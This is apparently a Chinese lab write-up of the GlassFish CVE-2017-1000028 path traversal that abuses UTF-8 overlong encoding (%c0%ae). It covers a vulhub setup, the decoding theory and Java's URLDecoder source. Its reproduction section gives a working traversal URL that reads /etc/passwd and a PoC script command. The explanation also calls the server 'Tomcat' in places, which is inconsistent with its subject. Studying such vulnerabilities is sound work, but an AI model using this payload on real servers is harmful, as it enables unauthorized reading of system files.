漏洞介绍

GlassFish是一个用于Java EE平台的开源应用服务器。在GlassFish中存在一个漏洞,攻击者可以通过UTF-8 Overlong Encoding攻击读取任意文件。

该漏洞产生的原因是GlassFish在解码URL时没有正确处理UTF-8 Overlong Encoding,导致将%c0%ae解析为ASCII字符的.(点)。攻击者可以通过在URL中使用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来实现目录遍历,从而读取系统上的任意文件。

漏洞范围

glassfish< 4.1.1

漏洞靶场

使用vulhub的靶场:

使用环境为GlassFish 4.1.0

vulhub-master/glassfish/4.1.0/

启动靶场环境:

1
docker-compose up -d

环境启动后,可以通过http://your-ip:4848访问GlassFish管理控制台:

漏洞原理

UTF-8是现在最流行的编码方式,它可以将unicode码表里的所有字符,用某种计算方式转换成长度是1到4位字节的字符。

参考这个表格,我们就可以很轻松地将unicode码转换成UTF-8编码:

First code point Last code point Byte 1 Byte 2 Byte 3 Byte 4
U+0000 U+007F 0xxxxxxx
U+0080 U+07FF 110xxxxx 10xxxxxx
U+0800 U+FFFF 1110xxxx 10xxxxxx 10xxxxxx
U+10000 U+10FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

那么,了解了UTF-8的编码过程,我们就可以很容易理解Overlong Encoding是什么问题了。

Overlong Encoding就是将1个字节的字符,按照UTF-8编码方式强行编码成2位以上UTF-8字符的方法。

仍然举例说明,比如点号.,其unicode编码和ascii编码一致,均为0x2E。按照上表,它只能被编码成单字节的UTF-8字符,但我按照下面的方法进行转换:

  • 0x2E的二进制是10 1110,我给其前面补5个0,变成00000101110
  • 将其分成5位、6位两组:00000101110
  • 分别给这两组增加前缀11010,结果是1100000010101110,对应的是\xC0\xAE

0xC0AE并不是一个合法的UTF-8字符,但我们确实是按照UTF-8编码方式将其转换出来的,这就是UTF-8设计中的一个缺陷。

按照UTF-8的规范来说,我们应该使用字符可以对应的最小字节数来表示这个字符。那么对于点号来说,就应该是0x2e。但UTF-8编码转换的过程中,并没有限制往前补0,导致转换出了非法的UTF-8字符。

这种攻击方式就叫“Overlong Encoding”。

当Tomcat接收到包含%c0%ae的请求URL时,它会尝试进行URL解码。

存在漏洞的Tomcat版本在解析URL时,默认使用了不严格的UTF-8解码器(通常是基于Java内置的java.nio.charset.CharsetDecoder)。

这个不严格的解码器没有拒绝0xC0 0xAE这个非法序列(非最短形式)。

解码器尝试将这个两个字节序列解释为UTF-8。它会:

  1. 忽略第一个字节0xC0的前两位(标志110,表示两字节序列)。
  2. 忽略第二个字节0xAE的前两位(标志10)。
  3. 将剩下的位组合起来:0xC0的后6位是0000000xAE的后6位是101110
  4. 拼接:000000 + 101110 = 000000101110(二进制)。转换为十六进制:0x00 0x2E注意:低字节的0x2E就是关键!

这个值0x002E对应于Unicode码位U+002E。用Java字符表示为\u002E

\u002E在内存中存储/表示时,其底层字节值(在基本ASCII兼容的字符集如ISO-8859-1或Windows-1252中)就是0x2E,也就是点号.

相关代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
public static String decode(String s, String enc)
throws UnsupportedEncodingException{

boolean needToChange = false;
int numChars = s.length();
StringBuffer sb = new StringBuffer(numChars > 500 ? numChars / 2 : numChars);
int i = 0;

if (enc.length() == 0) {
throw new UnsupportedEncodingException ("URLDecoder: empty string enc parameter");
}

char c;
byte[] bytes = null;
while (i < numChars) {
c = s.charAt(i);
switch (c) {
case '+':
sb.append(' ');
i++;
needToChange = true;
break;
case '%':
/*
* Starting with this instance of %, process all
* consecutive substrings of the form %xy. Each
* substring %xy will yield a byte. Convert all
* consecutive bytes obtained this way to whatever
* character(s) they represent in the provided
* encoding.
*/

try {

// (numChars-i)/3 is an upper bound for the number
// of remaining bytes
if (bytes == null)
bytes = new byte[(numChars-i)/3];
int pos = 0;

while ( ((i+2) < numChars) &&
(c=='%')) {
int v = Integer.parseInt(s.substring(i+1,i+3),16);
if (v < 0)
throw new IllegalArgumentException("URLDecoder: Illegal hex characters in escape (%) pattern - negative value");
bytes[pos++] = (byte) v;
i+= 3;
if (i < numChars)
c = s.charAt(i);
}

// A trailing, incomplete byte encoding such as
// "%x" will cause an exception to be thrown

if ((i < numChars) && (c=='%'))
throw new IllegalArgumentException(
"URLDecoder: Incomplete trailing escape (%) pattern");

sb.append(new String(bytes, 0, pos, enc));
} catch (NumberFormatException e) {
throw new IllegalArgumentException(
"URLDecoder: Illegal hex characters in escape (%) pattern - "
+ e.getMessage());
}
needToChange = true;
break;
default:
sb.append(c);
i++;
break;
}
}

return (needToChange? sb.toString() : s);
}

java/net/URLDecoder.java#L132-L206

漏洞复现

访问以下URL可以读取/etc/passwd的内容:

1
https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

image-20250603104155666

exp使用

NeonNOXX/CVE-2017-1000028: POC&EXP for GlassFish<4.1.1(not including 4.1.1). (github.com)

1
python cve-2017-1000028.py -u https://your-ip:4848 -c /etc/passwd

image-20250603115537757

复现成功

参考

UTF-8 Overlong Encoding导致的安全问题 | 离别歌 (leavesongs.com)

vulhub/glassfish/CVE-2017-1000028/README.zh-cn.md at master · vulhub/vulhub (github.com)